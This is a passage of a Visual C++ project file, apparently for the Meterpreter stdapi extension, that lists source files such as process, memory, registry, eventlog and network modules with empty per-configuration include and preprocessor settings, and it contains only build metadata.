<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\net.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\interface.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\route.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\socket\tcp.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\socket\tcp_server.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\socket\udp.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\session.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\image.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\in-mem-exe.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\memory.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\process.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\image.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\in-mem-exe.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\memory.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\process.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\ps.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\thread.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\util.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\registry\registry.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\power\power.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\eventlog\eventlog.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\config\config.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\thread.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\process\util.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\registry\registry.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\power\power.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\eventlog\eventlog.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\sys\config\config.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\desktop.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\ui\idle.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
